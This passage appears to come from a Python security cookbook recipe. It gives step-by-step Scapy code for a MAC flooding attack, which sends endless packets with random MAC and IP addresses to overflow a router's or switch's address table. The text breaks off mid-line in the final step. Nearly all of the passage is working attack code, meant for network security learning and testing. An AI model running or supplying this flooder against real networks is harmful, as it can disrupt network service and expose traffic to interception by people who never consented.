How to do it...

Here are the steps to flood MAC address store in a router:

1. Create a mac-flooder.py file and open in your editor.
2. Import the required modules:

import sys
from scapy.all import *  

3. Define the interface to flood. We could also get it from the arguments:

interface = "en0"  

4. Create the packets with random MAC IDs and random IPs:

pkt = Ether(src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / \
        IP(src=RandIP("*.*.*.*"), dst=RandIP("*.*.*.*")) / \
        ICMP()
  

The packet structure will be as follows:

5. Finally, send the packets in an infinite loop:

try:
    while True:
       sendp(pkt, iface=interface)
except KeyboardInterrupt:
   print("Exiting.. ...
